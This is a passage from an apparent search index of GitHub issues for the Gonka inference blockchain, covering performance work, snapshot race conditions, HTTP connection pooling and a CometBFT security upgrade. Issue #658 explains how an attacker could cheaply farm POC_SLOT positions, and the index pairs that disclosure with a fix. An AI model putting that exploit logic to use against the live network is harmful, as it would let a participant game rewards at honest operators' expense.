🔄 Auto-synced from Issue #593 every hour.
"}, {"location": "community/issues/00594-make-sure-batch-finishstart-inferences-dont-fail/", "title": "#594 — Make sure batch finish/start inferences don't fail", "text": "Make sure batch finish/start inferences don't fail #594 Closed @tcharchian opened 2026-01-15 23:46 UTC 0 comments Updated 2026-01-15 23:47 UTC(empty)
🔄 Auto-synced from Issue #594 every hour.
"}, {"location": "community/issues/00595-enable-bls-dealershared-recovery-if-container-restarted/", "title": "#595 — Enable BLS DealerShared recovery if container restarted", "text": "Enable BLS DealerShared recovery if container restarted #595 Closed @tcharchian opened 2026-01-15 23:53 UTC 0 comments Updated 2026-01-15 23:53 UTC(empty)
🔄 Auto-synced from Issue #595 every hour.
"}, {"location": "community/issues/00596-batching-for-startinference-finishinference/", "title": "#596 — Batching for StartInference / FinishInference", "text": "Batching for StartInference / FinishInference #596 Closed @tcharchian opened 2026-01-15 23:55 UTC 0 comments Updated 2026-01-15 23:56 UTC(empty)
🔄 Auto-synced from Issue #596 every hour.
"}, {"location": "community/issues/00597-poc-params-on-chain/", "title": "#597 — PoC params on-chain", "text": "PoC params on-chain #597 Closed @tcharchian opened 2026-01-15 23:57 UTC 0 comments Updated 2026-01-15 23:58 UTC(empty)
🔄 Auto-synced from Issue #597 every hour.
"}, {"location": "community/issues/00598-epoch-performance-additional-query/", "title": "#598 — Epoch performance additional query", "text": "Epoch performance additional query #598 Closed @tcharchian opened 2026-01-16 00:02 UTC 0 comments Updated 2026-01-16 00:03 UTC(empty)
🔄 Auto-synced from Issue #598 every hour.
"}, {"location": "community/issues/00599-bls-for-long-list-of-validators-contract-fixes/", "title": "#599 — BLS for long list of validators & Contract fixes", "text": "BLS for long list of validators & Contract fixes #599 Closed @tcharchian opened 2026-01-16 00:06 UTC 0 comments Updated 2026-01-16 00:06 UTC(empty)
🔄 Auto-synced from Issue #599 every hour.
"}, {"location": "community/issues/00600-bls-signature-fixes-aggreagation-and-format/", "title": "#600 — BLS Signature Fixes: Aggreagation and format", "text": "BLS Signature Fixes: Aggreagation and format #600 Closed @tcharchian opened 2026-01-16 00:09 UTC 0 comments Updated 2026-01-16 00:10 UTC(empty)
🔄 Auto-synced from Issue #600 every hour.
"}, {"location": "community/issues/00601-change-default-mlnode-state-to-inference/", "title": "#601 — Change default mlnode state to `INFERENCE`", "text": "Change default mlnode state to `INFERENCE` #601 Closed @tcharchian opened 2026-01-16 00:11 UTC 0 comments Updated 2026-01-16 00:12 UTC(empty)
🔄 Auto-synced from Issue #601 every hour.
"}, {"location": "community/issues/00602-fix-genesis-transfer/", "title": "#602 — Fix genesis transfer", "text": "Fix genesis transfer #602 Closed @tcharchian opened 2026-01-16 00:29 UTC 0 comments Updated 2026-01-16 00:29 UTC(empty)
🔄 Auto-synced from Issue #602 every hour.
"}, {"location": "community/issues/00603-random-poc/", "title": "#603 — Random PoC", "text": "Random PoC #603 Closed @tcharchian opened 2026-01-16 00:30 UTC 0 comments Updated 2026-01-16 00:31 UTC(empty)
🔄 Auto-synced from Issue #603 every hour.
"}, {"location": "community/issues/00604-fix-not-releasing-a-lock-in-setnodeadminstatecommand/", "title": "#604 — Fix not releasing a lock in SetNodeAdminStateCommand", "text": "Fix not releasing a lock in SetNodeAdminStateCommand #604 Closed @tcharchian opened 2026-01-16 00:32 UTC 0 comments Updated 2026-01-21 19:49 UTC(empty)
🔄 Auto-synced from Issue #604 every hour.
"}, {"location": "community/issues/00608-04-startinference-and-finishinference-optimiziation/", "title": "#608 — [0/4] `StartInference` and `FinishInference`: optimiziation", "text": "[0/4] `StartInference` and `FinishInference`: optimiziation #608 Closed @libermans opened 2026-01-19 01:05 UTC 1 comment Updated 2026-03-11 20:01 UTCStartInference and FinishInference should be significantly optimized, as they are messages used frequently—potentially 1,000+ times per block. The execution time of these messages should be below 1 ms, ideally below 0.2 ms. (currently with 1000 participants, and 1 grantee per account, StartInference can be 0.4-0.5ms, and FinishInference 4-5ms)
After these changes, benchmark StartInference and FinishInference. If they are still not below 0.2 ms, identify what else should be optimized and report back in the issue.
Also report back in this issue which messages also use EpochGroups, and which we have to optimize as well.
Additionally, for (2.2), ensure that we validate that the timestamp, request original hash, and TA address are correct (they must match InferenceId which derived from them). Also, check that the request modified hash matches: save it from the first-arriving message, and when the second arrives, verify they are equal. If they are not equal, one party is cheating: • If FinishInference arrives late and the hashes differ, verify the TA signature. If we have valid TA signatures on both messages, then the TA is the cheater. • If StartInference arrives late, verify the TA signature included in FinishInference; if the hashes differ, that means the TA is the cheater. • In all other scenarios, the Executor is the cheater. Unfortunately as TA signature doesn't derived from request original hash, it may be the issue as Executor can present TA signature from a different InferenceId (with same timestamp). So we either should change that or do on chain conversion from request original hash to request modified hash, which can be expansive/but rear (need to measure the time it requires)
"}, {"location": "community/issues/00608-04-startinference-and-finishinference-optimiziation/#comments-1", "title": "💬 Comments (1)", "text": "@gmorgachev commented 2026-03-11 20:01 UTCThe big part of inference flow optimization is merged in https://github.com/gonka-ai/gonka/pull/812 I'm closing all [*/4] StartInference and FinishInference: optimiziation tasks to finalize this work in milestone 0.2.11. I think it'd be better to re-open in case of additinal optimizations required
🔄 Auto-synced from Issue #608 every hour.
"}, {"location": "community/issues/00611-zpoken-define-and-validate-scalable-off-chain-poc-communicat/", "title": "#611 — [zpoken] Define and validate scalable off-chain PoC communication beyond Merkle-based commits", "text": "[zpoken] Define and validate scalable off-chain PoC communication beyond Merkle-based commits #611 Open @tcharchian opened 2026-01-20 21:32 UTC 1 comment Updated 2026-04-23 01:38 UTCProblem The Merkle tree–based off-chain PoC commit approach is already being implemented as an urgent, short-term solution.
However, it is understood that this approach does not scale to large participant counts on its own.
Because of this, a second approach https://zpoken.notion.site/Andrii-2ea9506ab1488027b6d5e72df66d8654 is proposed as a scalability solution
Goal Formally define, evaluate, and validate the Mesh / Turbine-based off-chain PoC communication approach as the scalable solution, given that Merkle-based commits are already accepted as a non-scalable but necessary interim step.
"}, {"location": "community/issues/00611-zpoken-define-and-validate-scalable-off-chain-poc-communicat/#comments-1", "title": "💬 Comments (1)", "text": "@akup commented 2026-01-23 11:21 UTCWhy gossip is just overlooked?
While it will have more latency (this 100ms are neglectable compared to block finalization time), it consumes much less resources and bandwidth. In article, in comparison it is stated that gossip needs 12 connections, while turbine tree 32 connections. But to have good protection against nodes control attack, we need to have up to 8 trees, and this is 256 connections, that is 20 times more then gossip. This multiple connections even with Solomon-reed (additional encoding/decoding resources) will increase bandwidth consumption as well. Moreover gossip is more adaptive and selfheeling and always will find the route.
I think this points should be taken into account on protocol selection
🔄 Auto-synced from Issue #611 every hour.
"}, {"location": "community/issues/00612-chatcompletion-flow-development/", "title": "#612 — `/chat/completion` flow development", "text": "`/chat/completion` flow development #612 Closed @tcharchian opened 2026-01-20 21:37 UTC 3 comments Updated 2026-04-01 23:53 UTC(empty)
"}, {"location": "community/issues/00612-chatcompletion-flow-development/#comments-3", "title": "💬 Comments (3)", "text": "@tcharchian commented 2026-03-22 22:59 UTCHey @KKizilov, is this issue still in progress?
@tcharchian commented 2026-03-23 20:55 UTC@KKizilov please check if this issue is actually done or just closed?
@heitor-lassarote commented 2026-03-23 21:08 UTC@tcharchian, we were explicitly requested by @gmorgachev to close #740 (the PR that would close this issue) because the work on subnets would also fix the problem while introducing more functionality. The issue should be closed/aborted instead.
🔄 Auto-synced from Issue #612 every hour.
"}, {"location": "community/issues/00613-creation-of-a-mathematical-model-estimating-limits-specifyin/", "title": "#613 — Creation of a mathematical model, estimating limits, specifying benchmarks and investigating how to improve scalability.", "text": "Creation of a mathematical model, estimating limits, specifying benchmarks and investigating how to improve scalability. #613 Closed @tcharchian opened 2026-01-20 21:48 UTC 0 comments Updated 2026-03-31 22:55 UTC(empty)
🔄 Auto-synced from Issue #613 every hour.
"}, {"location": "community/issues/00615-ibc-support-ibc-pool/", "title": "#615 — IBC support, IBC pool", "text": "IBC support, IBC pool #615 Closed @tcharchian opened 2026-01-22 00:47 UTC 0 comments Updated 2026-03-13 01:15 UTC(empty)
🔄 Auto-synced from Issue #615 every hour.
"}, {"location": "community/issues/00617-ledger-wallet-integration/", "title": "#617 — Ledger wallet integration", "text": "Ledger wallet integration #617 Open @tcharchian opened 2026-01-22 17:28 UTC 0 comments Updated 2026-01-22 17:46 UTC(empty)
🔄 Auto-synced from Issue #617 every hour.
"}, {"location": "community/issues/00619-inference-invalidation-by-pseudo-random-sub-group-of-partici/", "title": "#619 — Inference invalidation by pseudo random sub-group of participant (to decrease amount of `MsgValidation`)", "text": "Inference invalidation by pseudo random sub-group of participant (to decrease amount of `MsgValidation`) #619 Open @tcharchian opened 2026-01-23 00:24 UTC 4 comments Updated 2026-03-23 05:53 UTC(empty)
"}, {"location": "community/issues/00619-inference-invalidation-by-pseudo-random-sub-group-of-partici/#comments-4", "title": "💬 Comments (4)", "text": "@tcharchian commented 2026-01-24 00:15 UTC@akup is ready to take ownership of this issue. please try to assign issue to yourself
@akup commented 2026-01-28 03:16 UTC@tcharchian seams I need to leave a comment first
@tcharchian commented 2026-03-22 23:14 UTCHey @akup @gmorgachev @0xgonka, do you think it makes sense to keep this issue open for now, or would you recommend closing it already?
@akup commented 2026-03-23 05:53 UTC@tcharchian I have a ready solution on this. But I need to make few related PRs first. I will do it in next 24h
🔄 Auto-synced from Issue #619 every hour.
"}, {"location": "community/issues/00620-speed-up-poc-validation-by-sample-validators/", "title": "#620 — Speed up PoC validation by sample validators", "text": "Speed up PoC validation by sample validators #620 Closed @tcharchian opened 2026-01-23 00:25 UTC 1 comment Updated 2026-02-10 22:43 UTC(empty)
"}, {"location": "community/issues/00620-speed-up-poc-validation-by-sample-validators/#comments-1", "title": "💬 Comments (1)", "text": "@tcharchian commented 2026-02-04 22:59 UTCThat's implemented and we want to include it. One parameter will be changed but it's good to go
🔄 Auto-synced from Issue #620 every hour.
"}, {"location": "community/issues/00626-how-to-add-new-models/", "title": "#626 — How to add new models", "text": "How to add new models #626 Closed @tcharchian opened 2026-01-23 19:24 UTC 1 comment Updated 2026-02-11 00:47 UTCThis issue outlines a direction for a larger project. Adding new models is not a standalone task and has system-level implications for the architecture. The impact on the overall architecture needs to be evaluated first, and a conceptual description should be provided upfront before any implementation begins.
"}, {"location": "community/issues/00626-how-to-add-new-models/#comments-1", "title": "💬 Comments (1)", "text": "@x0152 commented 2026-01-29 18:51 UTCIf I understood current implementation correctly, then as minimum will be great to use adapter pattern on MLNode side, so poc flow can be defined per model without changing core vllm code. The idea is to keep adapters in mlnode and load them in vllm automatically by model_id, so adding new model is just adding a new adapter implementation and tests on MLNode side
As simple example:
Adapter coreclass HookTap:\n def __init__(self, target, when, layer_idx=-1):\n # target layer router last\n # when pre post or none\n # layer_idx last if -1\n pass\n\nclass Adapter:\n def __init__(self, model_id, validation_config, tap):\n # model id for adapter\n # validation config placeholder\n # tap tells where to read hidden\n validation_config = {\n # dist_threshold\n # p_mismatch\n # p_value_threshold\n }\n pass\n\n def make_embeddings(self, block_hash, public_key, nonces, hidden_size, seq_len, device, dtype):\n # make poc inputs\n pass\n\n def select_hidden(self, last_hidden):\n # use tap value only\n # error if tap missing\n pass\n\n def extract_vectors(self, block_hash, public_key, nonces, k_dim, hidden):\n # normalize pick haar normalize\n pass\n\nclass DenseAdapter(Adapter):\n def __init__(self, model_id):\n # take last post layer hidden\n tap = HookTap(\"layer\", \"post\", -1)\n validation_config = {\n # dist_threshold\n # p_mismatch\n # p_value_threshold\n }\n super().__init__(model_id, validation_config, tap)\n\n def make_embeddings(self, block_hash, public_key, nonces, hidden_size, seq_len, device, dtype):\n # standard poc inputs\n pass\n\n def select_hidden(self, last_hidden):\n # use post layer tap\n pass\n\n def extract_vectors(self, block_hash, public_key, nonces, k_dim, hidden):\n # standard extraction\n pass\n\nclass MoEAdapter(DenseAdapter):\n def __init__(self, model_id):\n # take last pre layer hidden\n tap = HookTap(\"layer\", \"pre\", -1)\n validation_config = {\n # dist_threshold\n # p_mismatch\n # p_value_threshold\n }\n super().__init__(model_id)\n self.tap = tap\n self.validation_config = validation_config\n\n def select_hidden(self, last_hidden):\n # use pre layer tap\n pass\n\n def extract_vectors(self, block_hash, public_key, nonces, k_dim, hidden):\n # standard or moe extraction\n pass\nclass Qwen3(DenseAdapter):\n def __init__(self):\n # qwen3 post last layer\n tap = HookTap(\"layer\", \"post\", -1)\n validation_config = {\n # dist_threshold\n # p_mismatch\n # p_value_threshold\n }\n super().__init__(\"Qwen/Qwen3-235B-A22B-Instruct-2507-FP8\")\n self.tap = tap\n self.validation_config = validation_config\n\nclass Mixtral(MoEAdapter):\n def __init__(self):\n # mixtral pre last layer\n tap = HookTap(\"layer\", \"pre\", -1)\n validation_config = {\n # dist_threshold\n # p_mismatch\n # p_value_threshold\n }\n super().__init__(\"mistralai/Mixtral-8x7B-Instruct-v0.1\")\n self.tap = tap\n self.validation_config = validation_config\n\ndef get_adapter(model_id):\n # select adapter by model id\n pass\ndef execute_poc_forward(worker, block_hash, public_key, nonces, seq_len, hidden_size, k_dim, model_id):\n # pick adapter\n # tp pp sync\n # make embeddings\n # install tap hook\n # forward in poc context\n # get last hidden\n # select hidden\n # extract vectors\n # return result\n pass\nmlnode/\n adapters/\n core.py\n utils.py\n adapters/\n qwen3.py\n mixtral.py\n dense.py\n moe.py\nThis will simplify adding new models, but we'll still need to compute proper thresholds. Maybe it's worth thinking about automated pipeline to estimate these values?
🔄 Auto-synced from Issue #626 every hour.
"}, {"location": "community/issues/00627-vllm-0110-inference-validation/", "title": "#627 — vLLM 0.11.0 — Inference validation", "text": "vLLM 0.11.0 — Inference validation #627 Closed @tcharchian opened 2026-01-23 19:25 UTC 3 comments Updated 2026-01-29 22:58 UTC(empty)
"}, {"location": "community/issues/00627-vllm-0110-inference-validation/#comments-3", "title": "💬 Comments (3)", "text": "@tcharchian commented 2026-01-23 19:25 UTCDone by Axel-t
@tcharchian commented 2026-01-24 02:00 UTC@tamazgadaev, please help me write what was done and attach the result. Thank you!
@tamazgadaev commented 2026-01-26 17:48 UTCtest inference validation for the new 011 vllm container and compute thresholds for qwen235B
🔄 Auto-synced from Issue #627 every hour.
"}, {"location": "community/issues/00628-vllm-0110-poc-at-vllm-0111/", "title": "#628 — vLLM 0.11.0 — PoC at vLLM 0.11.1", "text": "vLLM 0.11.0 — PoC at vLLM 0.11.1 #628 Closed @tcharchian opened 2026-01-23 19:26 UTC 4 comments Updated 2026-03-21 01:59 UTCAxel-t, together with @tamazgadaev is implementing an integrated PoC in vLLM using layer hooks, benchmarking it extensively from all angles, and investigating why H200 and B200 do not show meaningful performance differences. The current version is here (Ilya’s refinement tab): https://docs.google.com/document/d/1rLNPxsIvMN7fb8AmMaRIKkhakSlN35y3A_CS9quEK8Q/edit?tab=t.0#heading=h.ti9fqvdrp0cr. Overall, @tamazgadaev thinks it looks solid, but @tamazgadaev would make another iteration for hardware experimentation - Implementation (2–3 weeks) - Benchmarking (1–2 weeks) Total: 3–5 weeks.
"}, {"location": "community/issues/00628-vllm-0110-poc-at-vllm-0111/#comments-4", "title": "💬 Comments (4)", "text": "@tcharchian commented 2026-01-23 19:26 UTCwork in progress by Axel-t
@tcharchian commented 2026-01-24 01:59 UTC@tamazgadaev please review task description and edit as needed
@tamazgadaev commented 2026-01-26 17:48 UTCConfirmed
@Red-Caesar commented 2026-03-18 08:31 UTCHere is the report: https://github.com/gonka-ai/gonka/pull/912
🔄 Auto-synced from Issue #628 every hour.
"}, {"location": "community/issues/00629-p0-possible-cause-of-missed-inferences/", "title": "#629 — [P0] Possible cause of missed inferences", "text": "[P0] Possible cause of missed inferences #629 Closed @tcharchian opened 2026-01-23 19:47 UTC 4 comments Updated 2026-04-28 18:28 UTCWe're distributing inference requests on the chain based on the total weight of the participant, not the weight of the participant's mlnode for a specific model_id. Seems like it's easy can be the cause of missed inferences (e.g. I have 100 nodes for model_id1 and 3 nodes for model_id2, but I get the amount of requests based on the weight of 103 nodes for model_id2)
@tamazgadaev @IgnatovFedor @0xgonka do we want the same for preserved ML Nodes during PoC phase?
@tcharchian commented 2026-03-24 23:12 UTCThis issue is a subset of multi-model support (https://github.com/gonka-ai/gonka/issues/728) We'll figure out when to review and merge this issue during work on multimodels https://github.com/gonka-ai/gonka/issues/728 @x0152 @0xgonka
@x0152 commented 2026-04-28 18:28 UTCClosing as resolved by the multi-PoC updates
🔄 Auto-synced from Issue #629 every hour.
"}, {"location": "community/issues/00630-research-ephemeral-port-exhaustion/", "title": "#630 — Research: Ephemeral port exhaustion", "text": "Research: Ephemeral port exhaustion #630 Open @tcharchian opened 2026-01-23 20:09 UTC 3 comments Updated 2026-03-21 19:24 UTCThis is a future task. A detailed description will be provided in the near future.
Please do not start working on this task without the detailed specification, as it may turn out to be a different direction than expected, which could reduce the chances of receiving a reward.
If you are interested in completing this task, please leave a comment here. After that, feel free to contact me on Discord: tatianacharchian_07833.
Found several patterns that can cause ephemeral port exhaustion due to improper HTTP client usage and missing connection pooling configuration.
Critical Issues Found 1.http.DefaultClient usage without pooling config File: internal/server/public/post_chat_handler.go:367
resp, err := http.DefaultClient.Do(req)\nhandleTransferRequest)http.Post() calls create new connections each time Files: - internal/server/public/post_chat_handler.go:443 - tokenization - internal/server/public/post_chat_handler.go:525 - executor requests - internal/validation/inference_validation.go:897 - validation
NewHttpClient() lacks Transport config File: utils/http.go:14-18
func NewHttpClient(timeout time.Duration) *http.Client {\n return &http.Client{\n Timeout: timeout,\n }\n}\nOnly sets timeout, no connection pooling configuration.
4. mlnodeclient creates Client without poolingFile: mlnodeclient/client.go:38-40
client: http.Client{\n Timeout: 15 * time.Minute,\n}\nFile: internal/server/admin/setup_report.go:549,567 Creates new http.Client for each health check call.
File: participant/participant_registration.go:160
client := &http.Client{} // No timeout!\nCreate a shared HTTP client with proper Transport configuration:
var sharedHTTPClient = &http.Client{\n Transport: &http.Transport{\n MaxIdleConns: 100,\n MaxIdleConnsPerHost: 10,\n MaxConnsPerHost: 20,\n IdleConnTimeout: 90 * time.Second,\n },\n Timeout: 30 * time.Second,\n}\nutils/http.go - Update NewHttpClient() with Transport configinternal/server/public/post_chat_handler.go - Replace http.DefaultClient and http.Post()mlnodeclient/client.go - Add Transport configurationinternal/server/admin/setup_report.go - Reuse single clientparticipant/participant_registration.go - Use configured client with timeoutinternal/validation/inference_validation.go - Replace http.Post()Hello @AlexeySamosadov, thank you for your contribution. However, I'd suggest waiting for @libermans or @gmorgachev to give a detailed description of the task and expected results.
@AlexeySamosadov commented 2026-02-08 14:14 UTCPR created: https://github.com/gonka-ai/gonka/pull/656
Adds HTTP client connection pooling to prevent ephemeral port exhaustion.
🔄 Auto-synced from Issue #630 every hour.
"}, {"location": "community/issues/00631-add-message-to-transfer-amount-with-vesting/", "title": "#631 — Add message to transfer amount with vesting", "text": "Add message to transfer amount with vesting #631 Closed @tcharchian opened 2026-01-23 23:58 UTC 4 comments Updated 2026-02-10 22:49 UTCWhen the community distributes funds to miners, the transferred tokens should vest over a fixed 180-epoch period, rather than being fully available at the time of transfer.
"}, {"location": "community/issues/00631-add-message-to-transfer-amount-with-vesting/#comments-4", "title": "💬 Comments (4)", "text": "@AlexeySamosadov commented 2026-01-24 21:29 UTCImplemented in PR #641 - adds MsgTransferWithVesting message with 180 epoch default vesting, validation, CLI support, and unit tests.
@tcharchian commented 2026-01-29 23:47 UTCHi @AlexeySamosadov can I kindly ask you to contact me on Discord? tatianacharchian_07833
Hi @tcharchian i texted you in Discord :)
@AlexeySamosadov commented 2026-02-08 14:14 UTCPR created: https://github.com/gonka-ai/gonka/pull/641
Adds MsgTransferWithVesting for vesting transfers.
🔄 Auto-synced from Issue #631 every hour.
"}, {"location": "community/issues/00632-state-sync-snapshots-corrupted-all-snapshots-fail-on-last-2-/", "title": "#632 — State sync snapshots corrupted - all snapshots fail on last 2 chunks (826-827/827)", "text": "State sync snapshots corrupted - all snapshots fail on last 2 chunks (826-827/827) #632 Open @baranskyi opened 2026-01-24 15:11 UTC 5 comments Updated 2026-04-29 01:16 UTC"}, {"location": "community/issues/00632-state-sync-snapshots-corrupted-all-snapshots-fail-on-last-2-/#summary", "title": "Summary", "text": "State sync fails for all available snapshots (2309000, 2310000) - the last 2 chunks (826-827 out of 827) are either corrupted or unavailable, causing nodes to crash with IAVL store panic.
"}, {"location": "community/issues/00632-state-sync-snapshots-corrupted-all-snapshots-fail-on-last-2-/#environment", "title": "Environment", "text": "panic: failed to load latest version: failed to load store: version does not exist [/go/pkg/mod/cosmossdk.io/store@v1.1.2/rootmulti/store.go:264]\nINF Applied snapshot chunk to ABCI app chunk=825 format=3 height=2309000 module=statesync total=827\nINF Fetching snapshot chunk chunk=826 format=3 height=2309000 module=statesync total=827\nINF Saving AddrBook to file...\nINF Ensure peers module=pex numDialing=0 numInPeers=0 numOutPeers=10 numToDial=0\n[No more chunks applied - node eventually crashes]\n\npanic: failed to load latest version: failed to load store: version does not exist\nTested snapshots - ALL fail with same issue: - 2310000 - fails on chunks 826-827 - 2309000 - fails on chunks 826-827 - 2308000 - same issue - 2305000 - same issue
"}, {"location": "community/issues/00632-state-sync-snapshots-corrupted-all-snapshots-fail-on-last-2-/#attempted-workarounds", "title": "Attempted Workarounds", "text": "The issue appears to be network-wide - all peers offer the same corrupted snapshots. Possible causes: 1. Snapshot creation nodes have disk/memory issues affecting last chunks 2. P2P propagation issue for final chunks 3. Bug in snapshot chunking algorithm
"}, {"location": "community/issues/00632-state-sync-snapshots-corrupted-all-snapshots-fail-on-last-2-/#request", "title": "Request", "text": "# 1. Clean node data\ndocker stop node\nrm -rf .inference/data/* .inference/wasm/*\n\n# 2. Ensure state sync is enabled in config.toml\n# enable = true\n\n# 3. Start node\ndocker start node\n\n# 4. Observe logs - sync will fail on chunks 826-827\ndocker logs -f node\nI investigated this issue and found the following:
Root Cause LocationThe snapshot chunking and restoration logic is not in the inference-chain repository. It's in the custom Cosmos SDK fork:
github.com/gonka-ai/cosmos-sdk v0.53.3-ps15\nThe inference-chain only registers the WASM snapshotter in app/app.go, all chunking logic is delegated to the SDK.
The failure on the last 2 chunks (826-827/827) suggests the chunks haven't fully propagated across the network yet after snapshot creation. Possible causes:
The issue resolves itself by waiting approximately 1 hour. After that, the chunks synchronize automatically and state sync completes successfully.
This is likely a propagation timing issue rather than data corruption - the snapshot needs time to fully distribute across the network before all chunks become consistently available.
@gmorgachev commented 2026-01-27 06:53 UTCWhen some existing node providing snapshot to another node, it already has full snapshot, all chunks. It's not really propagated more then to this P2P request. Snapshots are downloaded directly.
@AlexeySamosadov commented 2026-02-04 11:46 UTCThe issue is a race condition between snapshot pruning and chunk serving during state sync.
What happensPrune(keepRecent) runs immediately after, calling os.RemoveAll on snapshot H directoryLoadChunk returns nilMissing: true, peer times out after 2 minutesChunks are downloaded sequentially (0→N). The peer manages to download most chunks before pruning kicks in, but the tail end gets deleted mid-transfer.
WhyLoadChunk doesn't protect against this LoadChunk runs lock-free, does not check if pruning is in progressDelete/Prune only check if a snapshot is being saved, not if it's being servedPR with the fix: https://github.com/gonka-ai/cosmos-sdk/pull/10
Adds read-side reference counting to the snapshot Store: Delete now waits for active LoadChunk readers to finish before removing files from disk.
@gmorgachev The fix is ready and waiting for review: https://github.com/gonka-ai/cosmos-sdk/pull/10
Adds read-side reference counting to the snapshot Store so that Prune/Delete waits for active LoadChunk readers to finish before removing files from disk. This prevents the race condition that causes the last chunks to disappear mid-download.
@AlexeySamosadov commented 2026-02-09 18:00 UTCAlso — is the reference counting approach the right direction here, or would you prefer a different strategy (e.g. copy-on-write, or delaying prune until no active sync sessions)?
🔄 Auto-synced from Issue #632 every hour.
"}, {"location": "community/issues/00646-avoid-truncation-for-large-validation-weights/", "title": "#646 — Avoid truncation for large validation weights", "text": "Avoid truncation for large validation weights #646 Closed @x0152 opened 2026-01-26 18:10 UTC 1 comment Updated 2026-06-02 17:54 UTC"}, {"location": "community/issues/00646-avoid-truncation-for-large-validation-weights/#1101", "title": "1101", "text": ""}, {"location": "community/issues/00646-avoid-truncation-for-large-validation-weights/#comments-1", "title": "💬 Comments (1)", "text": "@AlexeySamosadov commented 2026-02-08 14:14 UTCPR created: https://github.com/gonka-ai/gonka/pull/655
Fixes uint32 truncation for large validation weights by using int64.
🔄 Auto-synced from Issue #646 every hour.
"}, {"location": "community/issues/00647-vllm-0110-migration-proposal/", "title": "#647 — vLLM 0.11.0 — Migration Proposal", "text": "vLLM 0.11.0 — Migration Proposal #647 Closed @tcharchian opened 2026-01-26 18:46 UTC 0 comments Updated 2026-01-26 18:58 UTChttps://discord.com/channels/1336477374442770503/1425189436748206171/1446142256900997152 by Axel-T
vLLM v0.11 Migration Proposal.pdf
🔄 Auto-synced from Issue #647 every hour.
"}, {"location": "community/issues/00651-reproducible-sampling/", "title": "#651 — Reproducible sampling", "text": "Reproducible sampling #651 Closed @tcharchian opened 2026-01-27 18:58 UTC 2 comments Updated 2026-03-17 20:00 UTCPR created: https://github.com/gonka-ai/gonka/pull/719
Implements Stage 1 Sequence Check for reproducible sampling protection against speculative decoding attacks.
@AlexeySamosadov commented 2026-02-12 15:26 UTCI have a PR for this: #719 — implements Stage 1 Sequence Check for reproducible sampling protection. Would appreciate a review when you get a chance.
🔄 Auto-synced from Issue #651 every hour.
"}, {"location": "community/issues/00652-certikcsa-2026-001tachyon-was-disclosed-in-cometbft/", "title": "#652 — Certik(CSA-2026-001:Tachyon, was disclosed in CometBFT)", "text": "Certik(CSA-2026-001:Tachyon, was disclosed in CometBFT) #652 Closed @tcharchian opened 2026-01-27 19:04 UTC 1 comment Updated 2026-03-12 18:29 UTCA critical vulnerability — CSA-2026-001: Tachyon — was disclosed in CometBFT (Advisory: https://github.com/cometbft/cometbft/security/advisories/GHSA-c32p-wcqj-j677).
According to the disclosure, all versions of CometBFT are affected. The issue has been addressed in CometBFT versions v0.38.21 and v0.37.18.
As Gonka is a Cosmos-based project that uses CometBFT, Certik kindly recommends upgrading to a patched version as soon as possible to mitigate potential risks.
"}, {"location": "community/issues/00652-certikcsa-2026-001tachyon-was-disclosed-in-cometbft/#comments-1", "title": "💬 Comments (1)", "text": "@AlexeySamosadov commented 2026-02-08 14:14 UTCPR created: https://github.com/gonka-ai/gonka/pull/675
Updates CometBFT to v0.38.21 to fix the Tachyon vulnerability (CSA-2026-001).
🔄 Auto-synced from Issue #652 every hour.
"}, {"location": "community/issues/00653-deep-dive-into-node-container/", "title": "#653 — Deep dive into node container", "text": "Deep dive into node container #653 Closed @tcharchian opened 2026-01-27 19:10 UTC 0 comments Updated 2026-02-10 01:06 UTC(empty)
🔄 Auto-synced from Issue #653 every hour.
"}, {"location": "community/issues/00654-optimize-mlnode-reduce-mlnode-image-size-refactor-api-servic/", "title": "#654 — Optimize mlnode: reduce mlnode image size, refactor api service (proxy part for the start)", "text": "Optimize mlnode: reduce mlnode image size, refactor api service (proxy part for the start) #654 Open @tcharchian opened 2026-01-27 19:11 UTC 0 comments Updated 2026-03-21 23:33 UTC(empty)
🔄 Auto-synced from Issue #654 every hour.
"}, {"location": "community/issues/00658-poc-slot-attack/", "title": "#658 — POC_SLOT attack", "text": "POC_SLOT attack #658 Closed @akup opened 2026-01-28 12:51 UTC 0 comments Updated 2026-02-06 17:58 UTC🔄 Auto-synced from Issue #658 every hour.
"}, {"location": "community/issues/00658-poc-slot-attack/#poc_slot-attack", "title": "POC_SLOT Attack", "text": ""}, {"location": "community/issues/00658-poc-slot-attack/#overview", "title": "Overview", "text": "An attacker can exploit the current PoC / POC_SLOT allocation logic to obtain a large number of POC_SLOT = true positions while running significantly less hardware than honest nodes and without reliably serving confirmation PoCs.
POC_SLOT = true in the upcoming epoch.POC_SLOT = true serve inference during the PoC phase and are not subject to confirmation PoC checks on that weight.POC_SLOT = true slots at low hardware cost.When selecting nodes for POC_SLOT = true, the system does not check whether a participant was reward-eligible in the previous epoch.
As a result, participants who:
can still be treated as eligible in the next epoch’s PoC slot allocation and be chosen for POC_SLOT = true.
Only participants who were reward-eligible (i.e. actually received rewards) in the previous epoch should be eligible for POC_SLOT = true in the next epoch.
POC_SLOT = true nodes are drawn.POC_SLOT = true in the subsequent epoch.Enforcing this would prevent attackers from cheaply farming POC_SLOT = true positions with throwaway, non-rewarded participants, and would tie PoC slot eligibility to actual reward-earning behavior.
If chain node is unreachable even for short period, the API can crash:
2026/01/28 14:01:30 ERROR [training-task-assigner] Failed to query chain status err=\"post failed: Post \\\"http://genesis-node:26657\\\": dial tcp: lookup genesis-node on 127.0.0.11:53: no such host\"\npanic: runtime error: invalid memory address or nil pointer dereference\n[signal SIGSEGV: segmentation violation code=0x1 addr=0x140 pc=0x42d18e2]\n\ngoroutine 10 [running]:\ndecentralized-api/training.(*Assigner).tryClaimingTaskToAssign(0xc0017a8090)\n /app/decentralized-api/training/assigner.go:74 +0xc2\ndecentralized-api/training.(*Assigner).claimTasksForAssignment(0xc0017a8090)\n /app/decentralized-api/training/assigner.go:55 +0x10c\ncreated by decentralized-api/training.NewAssigner in goroutine 1\n /app/decentralized-api/training/assigner.go:41 +0xd8\n🔄 Auto-synced from Issue #660 every hour.
"}, {"location": "community/issues/00662-how-to-try-to-locate-the-missing-seed/", "title": "#662 — How to try to locate the missing seed", "text": "How to try to locate the missing seed #662 Closed @tcharchian opened 2026-01-29 05:19 UTC 0 comments Updated 2026-01-29 05:19 UTC(empty)
🔄 Auto-synced from Issue #662 every hour.
